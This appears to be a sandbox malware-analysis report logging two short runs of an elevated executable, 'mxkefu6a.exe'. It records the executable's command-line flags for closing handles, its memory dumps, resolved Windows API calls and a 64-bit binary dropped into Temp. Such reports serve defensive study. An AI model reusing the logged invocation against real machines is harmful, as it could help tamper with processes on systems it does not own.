Process #40: mxkefu6a.exe

177

0

»

Information	Value
ID	#40
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula -c Run -y -p extract -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:23, Reason: Child Process
Unmonitor	End Time: 00:02:26, Reason: Self Terminated
Monitor Duration	00:00:02

OS Process Information

»

Information	Value
PID	0x390
Parent PID	0x1304 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x D30 0x BB4

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00406078	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0xd30

177

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 1627-02-22 14:10:13 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 20343813613	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #41: mxkefu6a.exe

177

0

»

Information	Value
ID	#41
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula -c Run -y -p extract -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:23, Reason: Child Process
Unmonitor	End Time: 00:02:25, Reason: Self Terminated
Monitor Duration	00:00:01

OS Process Information

»

Information	Value
PID	0xce0
Parent PID	0x1194 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x D68 0x DC0

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040608C	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0xd68

177

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
